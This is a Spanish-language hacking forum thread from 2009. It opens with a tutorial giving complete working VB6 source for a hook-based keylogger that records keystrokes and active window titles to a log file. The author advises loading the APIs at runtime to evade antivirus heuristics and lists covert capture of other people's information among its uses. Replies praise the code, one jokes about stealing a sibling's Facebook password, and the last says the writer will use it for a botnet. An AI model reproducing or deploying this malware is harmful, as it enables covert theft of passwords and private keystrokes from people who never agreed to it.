Título: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 17 Agosto 2009, 19:18 pm
Este manual forma parte de la #1 CM EZINE...Indice:- Introducción:
- Que es un Keylogger?
- Clases de Keyloggers.
- Para que sirven?
- Al grano:
- APIs.
- Declaraciones, Constantes y Tipos.
- Funciones.
- Código de ejemplo.
- Despedida y consejos.
Introducción:Que es un keylogger?Un keylogger (Key=Tecla Logger=Registrador) es una herramienta de diagnóstico utilizada en el desarrollo de software que se encarga de registrar las pulsaciones que se realizan sobre el teclado, para memorizarlas en un fichero y/o enviarlas a través de Internet. Wikipedia.org (http://es.wikipedia.org/wiki/Keylogger) Por lo tanto asumimos que registra las teclas que se presionan en el teclado. Clases de Keyloggers.Bueno, hay varios tipos de keyloggers, yo me voy a centrar en los de Software. Hay tres tipos: - Ring 0: Los que se ejecutan desde el núcleo del sistema, lo que los hace bastante mas difíciles de eliminar.
- Hook: Se ejecutan en Modo Usuario y utilizan un 'Enganche' al sistema, para que cuando se presione una tecla el sistema te advierte. Este es el método que trataremos en la parte practica.
- Otros metodos: Estos son otros metodos, normalmente peores. Por ejemplo, un keylogger que cada cierto intervalo de tiempo compruebe tecla por tecla cual esta presionada.
Para que sirven?Los keyloggers registran cualquier tecla pulsada en el sistema, por lo tanto pueden servir muchas cosas. Desde observar si tus empleados entran a webs a las que no deberían. Hasta para obtener información ajena de forma oculta.
Al grano:APIs:Las apis que usaremos serán las siguientes.: - CopyMemory: Para volcar la información del hook a una variable.
- SetWindowsHookExA: Para establecer el hook al teclado.
- CallNextHookEx: Para continuar con nuestro hook.
- UnhookWindowsHookEx: Para deshacer el hook al teclado.
- GetAsyncKeyState: Para saber si la tecla Shift esta presionada.
- GetForegroundWindow: Para obtener la ventana que tiene el foco.
- GetWindowTextA: Para obtener el texto de una ventana.
Declaraciones, Constantes y Tipos.Constantes: WH_KEYBOARD_LL = 13 : Esta constante contiene el valor que indica al API SetWindowsHookEx que tipo de Hook es. Declaraciones Globales: KBHook : Esta declaración global indica el numero asignado a nuestro Hook de teclado. KeyData: Para almacenar las teclas recogidas antes de almacenarlas. lHwnd : Para almacenar la ultima venta activa. Tipos: KBDLLHOOKSTRUCT : Para obtener la información que nos da el Hook. Funciones:Función para habilitar o deshabilitar el hook al teclado: Public Sub ManageKeylogger(ByVal Enable As Boolean) Select Case Enable Case True KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance,0) Case False Call UnhookWindowsHookEx(KBHook) End Select End Sub
Función para recibir la información del AddressOf: Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long Dim KeyBoardHook As KBDLLHOOKSTRUCT If nCode = 0 Then CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook) With KeyBoardHook If .Flags = 0 Or .Flags = 1 Then If SaveLog(TranslateKey(.VkCode)) > 50 Then Call LogToFile(App.Path & "\Log.log") End If End If End With Else KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam) End If End Function
Función para pasar del valor numérico de la tecla a el valor correspondiente: Private Function TranslateKey(ByVal KeyCode As Long) As String Dim LngShift As Long 'Funcion optimizada para su uso en teclados españoles. LngShift = GetAsyncKeyState(vbKeyShift) If KeyCode >= 58 And KeyCode <= 90 Then TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode))) ElseIf KeyCode >= 96 And KeyCode <= 105 Then TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then TranslateKey = "{F" & KeyCode - 111 & "}" Else If KeyCode = 160 Then TranslateKey = "" If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}" If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}" If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}" If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}" If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}" If KeyCode = 32 Then TranslateKey = "{ESPACIO}" If KeyCode = 27 Then TranslateKey = "{ESC}" If KeyCode = 46 Then TranslateKey = "{DEL}" If KeyCode = 36 Then TranslateKey = "{HOME}" If KeyCode = 35 Then TranslateKey = "{END}" If KeyCode = 33 Then TranslateKey = "{PAGE UP}" If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}" If KeyCode = 45 Then TranslateKey = "{PASTE}" If KeyCode = 144 Then TranslateKey = "{NUM}" If KeyCode = 111 Then TranslateKey = "{NUMPAD / }" If KeyCode = 106 Then TranslateKey = "{NUMPAD * }" If KeyCode = 109 Then TranslateKey = "{NUMPAD - }" If KeyCode = 107 Then TranslateKey = "{NUMPAD + }" If KeyCode = 13 Then TranslateKey = "{ENTER}" If KeyCode = 8 Then TranslateKey = "{BACK}" If KeyCode = 221 Then TranslateKey = "{ACCENTO}" If KeyCode = 9 Then TranslateKey = "{TAB}" If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}" If KeyCode = 162 Then TranslateKey = "{STRG LEFT}" If KeyCode = 163 Then TranslateKey = "{STRG DER.}" If KeyCode = 91 Then TranslateKey = "{WINDOWS}" If KeyCode = 164 Then TranslateKey = "{ALT}" If KeyCode = 165 Then TranslateKey = "{ALTGR}" If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}" If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",") If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".") If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-") If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#") If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+") If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü") If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö") If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä") If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß") If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^") If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0") If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1") If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2") If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3") If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4") If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5") If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6") If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7") If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8") If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9") If KeyCode = 145 Then TranslateKey = "{ROLL}" If KeyCode = 44 Then TranslateKey = "{PRINT}" If KeyCode = 19 Then TranslateKey = "{PAUSE}" If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode End If End Function
Función para guardar la información pulsada en una variable: Public Function SaveLog(ByVal sKey As String) As Double Dim aHwnd As Long Dim WinText As String aHwnd = GetForegroundWindow If aHwnd <> lHwnd Then lHwnd = aHwnd WinText = String$(255, Chr$(0)) Call GetWindowText(aHwnd, WinText, Len(WinText)) WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1) KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now$ & "]" & vbCrLf End If KeyData = KeyData & sKey SaveLog = Len(KeyData) End Function
Función para volcar la variable en un fichero: Public Sub LogToFile(ByVal sPath As String) Open sPath For Binary As #1 Put #1, , KeyData Close #1 End Sub
Código de ejemplo:Option Explicit '||||||||||||||||||||||| '| | '|Autor: Karcrack | '|Fecha: 24/09/08 | '| | '||||||||||||||||||||||| Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long) Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer Private Const WH_KEYBOARD_LL As Long = 13 Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Type KBDLLHOOKSTRUCT VkCode As Long ScanCode As Long Flags As Long Time As Long DwExtraInfo As Long End Type Dim KBHook As Long Dim KeyData As String Dim lHwnd As Long Public Sub ManageKeylogger(ByVal Enable As Boolean) Select Case Enable Case True KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0) Case False Call UnhookWindowsHookEx(KBHook) End Select End Sub Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long Dim KeyBoardHook As KBDLLHOOKSTRUCT If nCode = 0 Then CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook) With KeyBoardHook If .Flags = 0 Or .Flags = 1 Then If SaveLog(TranslateKey(.VkCode)) > 50 Then Call LogToFile(App.Path & "\Log.log") End If End If End With Else KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam) End If End Function Private Function TranslateKey(ByVal KeyCode As Long) As String Dim LngShift As Long 'Funcion optimizada para su uso en teclados españoles. LngShift = GetAsyncKeyState(vbKeyShift) If KeyCode >= 58 And KeyCode <= 90 Then TranslateKey = IIf(LngShift <> 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode))) ElseIf KeyCode >= 96 And KeyCode <= 105 Then TranslateKey = Chr(KeyCode - 48) ElseIf KeyCode >= 112 And KeyCode <= 123 Then TranslateKey = "{F" & KeyCode - 111 & "}" Else If KeyCode = 160 Then TranslateKey = "" If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}" If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}" If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}" If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}" If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}" If KeyCode = 32 Then TranslateKey = "{ESPACIO}" If KeyCode = 27 Then TranslateKey = "{ESC}" If KeyCode = 46 Then TranslateKey = "{DEL}" If KeyCode = 36 Then TranslateKey = "{HOME}" If KeyCode = 35 Then TranslateKey = "{END}" If KeyCode = 33 Then TranslateKey = "{PAGE UP}" If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}" If KeyCode = 45 Then TranslateKey = "{PASTE}" If KeyCode = 144 Then TranslateKey = "{NUM}" If KeyCode = 111 Then TranslateKey = "{NUMPAD / }" If KeyCode = 106 Then TranslateKey = "{NUMPAD * }" If KeyCode = 109 Then TranslateKey = "{NUMPAD - }" If KeyCode = 107 Then TranslateKey = "{NUMPAD + }" If KeyCode = 13 Then TranslateKey = "{ENTER}" If KeyCode = 8 Then TranslateKey = "{BACK}" If KeyCode = 221 Then TranslateKey = "{ACCENTO}" If KeyCode = 9 Then TranslateKey = "{TAB}" If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}" If KeyCode = 162 Then TranslateKey = "{STRG LEFT}" If KeyCode = 163 Then TranslateKey = "{STRG DER.}" If KeyCode = 91 Then TranslateKey = "{WINDOWS}" If KeyCode = 164 Then TranslateKey = "{ALT}" If KeyCode = 165 Then TranslateKey = "{ALTGR}" If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}" If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",") If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".") If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-") If KeyCode = 191 Then TranslateKey = IIf(LngShift <> 0, "'", "#") If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+") If KeyCode = 186 Then TranslateKey = IIf(LngShift <> 0, "Ü", "ü") If KeyCode = 192 Then TranslateKey = IIf(LngShift <> 0, "Ö", "ö") If KeyCode = 222 Then TranslateKey = IIf(LngShift <> 0, "Ä", "ä") If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "ß") If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "°", "^") If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0") If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1") If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2") If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "§", "3") If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4") If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5") If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6") If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7") If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8") If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9") If KeyCode = 145 Then TranslateKey = "{ROLL}" If KeyCode = 44 Then TranslateKey = "{PRINT}" If KeyCode = 19 Then TranslateKey = "{PAUSE}" If TranslateKey = "" And KeyCode <> 160 Then TranslateKey = KeyCode End If End Function Public Function SaveLog(ByVal sKey As String) As Double Dim aHwnd As Long Dim WinText As String aHwnd = GetForegroundWindow If aHwnd <> lHwnd Then lHwnd = aHwnd WinText = String$(255, Chr$(0)) Call GetWindowText(aHwnd, WinText, Len(WinText)) WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1) KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf End If KeyData = KeyData & sKey SaveLog = Len(KeyData) End Function Public Sub LogToFile(ByVal sPath As String) Open sPath For Binary As #1 Put #1, , KeyData Close #1 End Sub
Despedida y consejos.Hasta aquí el manual, me ha llevado aproximadamente escribir y codear el manual 1 hora y 30 minutos... a ver si a la próxima supero mi marca :xD Bueno, recomendaciones, hay muchas... entre ellas no copiéis tal cual el code, porque se hará detectable en cuestión de minutos (si no lo es ya). Para hacer indetectable este código debéis cargar las APIs en ejecución, porque la heuristica salta seguro. Saludos :D Happy Coding ;) Saludos ;D
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Spider-Net en 17 Agosto 2009, 19:22 pm
La verdad es que está muy bien el manual, creo que es un buen ejemplo para cualquiera que quiera hacer un keylogger con hooks.
De nuevo te felicito por el tutorial karcrack.
Un saludo!
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: el_c0c0 en 17 Agosto 2009, 19:57 pm
si no me equivoco habia una forma de obtener el nombre de la tecla con un api, obviamente el resultado varia segun el lenguaje del pc.
saludos y muy interesante
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 17 Agosto 2009, 19:59 pm
si no me equivoco habia una forma de obtener el nombre de la tecla con un api, obviamente el resultado varia segun el lenguaje del pc.
saludos y muy interesante
Si, pero en la epoca que hice el tuto no sabia tanto :xD Hay un codigo de Cobein que lo demuestra muy bien ;)Perdon, es de Paul Caton: http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=51403&lngWId=1 Creo que es este :xD
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: jackl007 en 17 Agosto 2009, 20:21 pm
tambien se puede conseguir cogiendo el layout del keyboard, y segun eso podrias saber que modulo de teclas coger segun la distribucion del teclado (americano, latinoamericano, español) ...
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 17 Agosto 2009, 20:40 pm
tambien se puede conseguir cogiendo el layout del keyboard, y segun eso podrias saber que modulo de teclas coger segun la distribucion del teclado (americano, latinoamericano, español) ...
Si bueno... nunca lo consegui hacer correctamente en VB... intento pasar al ToAsciiEx el layout, pero me devuelve un Char erroneo... tengo que seguir investigando :-\ Yo lo tengo facil para hacer pruebas, porque mi portatil tiene un teclado ingles, pero cuando lo conecto a la dockstation utilizo un teclado español, y activo el Layout español... pero me falla igual :laugh: Seguire provando... cuando tenga tiempo :¬¬
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Jaixon Jax en 17 Agosto 2009, 20:54 pm
:laugh:
Ya veo por que eres moderador jeje ..
(http://www.egiakoa.com/Podcast/Media/uncle-sam-to-tio-sam-capitalismo.gif)
Karcrack Presidente.
Bueno el Visual Basic es mas digerible para mi que el ASM :-[ por el momento por lo que me pongo ha trabajar para pasar este code a C++.
Gracias Saludos...
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 17 Agosto 2009, 21:07 pm
@Jaixon Jax: Yo no soy moderador de VB... es seba123neo, que aunque hace bastante que no comparte tambien sabe mucho ;D
Este manual es viejo... un año o asi tiene... asi que imagina lo que he aprendido desde entonces :silbar: :xD :xD
Por cierto, muy buena la imagen :laugh:
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: h0oke en 18 Agosto 2009, 00:05 am
Karcrack, felicitaciones! Muy bueno el manual.
Karcrack, gracias por postear, y hacer que VB tenga sentido.
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: HaX991 en 20 Agosto 2009, 15:24 pm
karcrack muy bueno tu manual pero ese metodo es muy utilizado. Si alguien esta interesado en hacer un Keylogger por hardware, k estaria bastantes interesante construirse uno propio, visiten esta pagina web: www.keelog.com donde se explica como fabricarse su propio keylogger por hardware pero solo para teclados PS/2 y si quieren uno para teclados USB pueden comprarlo en esa pagina, o intentar crear uno.
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: skapunky en 20 Agosto 2009, 15:39 pm
Hax....eso de keylogger por hardware es un timo, es un pendrive, que inicia mediante un autorun un sencillo keyloger que guarda los resultados en el mismo. Es decir,sigue siendo por software....
Ains que lo venden a 70 eurazos casi ! Ai gente que no ve más alla de un palmo porque su propio morro le tapa la vision. Madre mia pero vaya timo..es una SD con un keyloger grabado xd
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 20 Agosto 2009, 16:07 pm
Para nada skapunky , estas absolutamente equivocado... este clase de keylogger obtienen las teclas presionadas colocandose entre el emisor (teclado) y receptor (PC) + Info:http://en.wikipedia.org/wiki/Hardware_keylogger
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: skapunky en 20 Agosto 2009, 16:13 pm
Para nada skapunky , estas absolutamente equivocado... este clase de keylogger obtienen las teclas presionadas colocandose entre el emisor (teclado) y receptor (PC) Bueno, sigue siendo puro software...tiene que haber un software que interprete las señales en el cable que comunica teclado con ordenador. No es dificil el diseño de esto (claro que sabiendo electrónica no informatica) y si te fijas sigue siendo un keyloger, lo unico que cambia es el metodo para grabar las teclas que he estado mirandolo y si te fijas se guarda la información en una SD que lleva soldada en el cabezal usb. Veo un invento bastante tonto...un keyloger como tal lo ejecutas e un pc y te olvidas, es mas tiene notificacion por mail o lo que sea...esto has de liarla pa poder conectarlo pa que nadie se de cuenta y su proceso es bastante engorroso. Con lo fácil que es usar algunas cosas y lo facil también que es complicarse la vida usando otras. PD: La unica diferencia esque en uno captas las teclas virtualmente en el interior del ordenador (dilo asi) y la otra las captas de forma analógica por así decirlo, pero el proceso es exactamente igual.
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 20 Agosto 2009, 16:17 pm
@Skapunky: Bueno, es interesante para los PCs sin conexion a Internet... y bueno... el software acaba siendo detectado... el hardware no... y bueno... no creo que haya gente que diariamente mire la conexion de su teclado al PC :xD
Saludos ;)
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: skapunky en 20 Agosto 2009, 16:21 pm
Bueno interesante es para los pc's sin conexión a internet, pero digo yo que hay keylogers que són para uso local, es más mientras uno has de conectarlo el otro lo has de ejecutar. El trabajo es el mismo.
Si, no sería detectado en eso te doy la razón, pero són tantas las desventajas que presenta (como el que al usarlo debes tener contacto fisico con el equipo) que ya me diras tu su función.
Pa robarle el pass del facebook de tu hermana en casa?
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Karcrack en 20 Agosto 2009, 16:24 pm
Bueno interesante es para los pc's sin conexión a internet, pero digo yo que hay keylogers que són para uso local, es más mientras uno has de conectarlo el otro lo has de ejecutar. El trabajo es el mismo.
Si, no sería detectado en eso te doy la razón, pero són tantas las desventajas que presenta (como el que al usarlo debes tener contacto fisico con el equipo) que ya me diras tu su función.
Pa robarle el pass del facebook de tu hermana en casa?
Yo apenas le veo ventajas a este tipo de Keylogger... ya que (siendo programador) no es dificil programarte un keylogger simple... Ademas, que directamente desde el Hardware no podrias sacar la ventana en la que se presionan esas teclas... Y muchas otras cosas... La unica cosa que le veo que los Keyloggers de Sofware no pueden hacer es sacar el password de la BIOS... :laugh:
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: [Zero] en 20 Agosto 2009, 17:40 pm
Supongo que su utilidad, mas que el espionaje es el control, por ejemplo en una empresa, de los empleados. Y aunque ese no lo tiene y no se si hay alguno que lo tenga, también se podría hacer que deshabilitara ciertas teclas y eso :P.
Saludos
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: BrokerJoker en 11 Enero 2012, 09:47 am
Hola , alguien lo tiene ya echo para visual basic 2010? Edito : Perdon no mire el año :(
Título: Re: [VB6] Creacion de un Keylogger 'avanzado' {HOOK}
Publicado por: Mr. X en 11 Enero 2012, 17:38 pm
Muy interesante :P
voy a ver si pongo en practica alguno de esos, para una botnet :P
|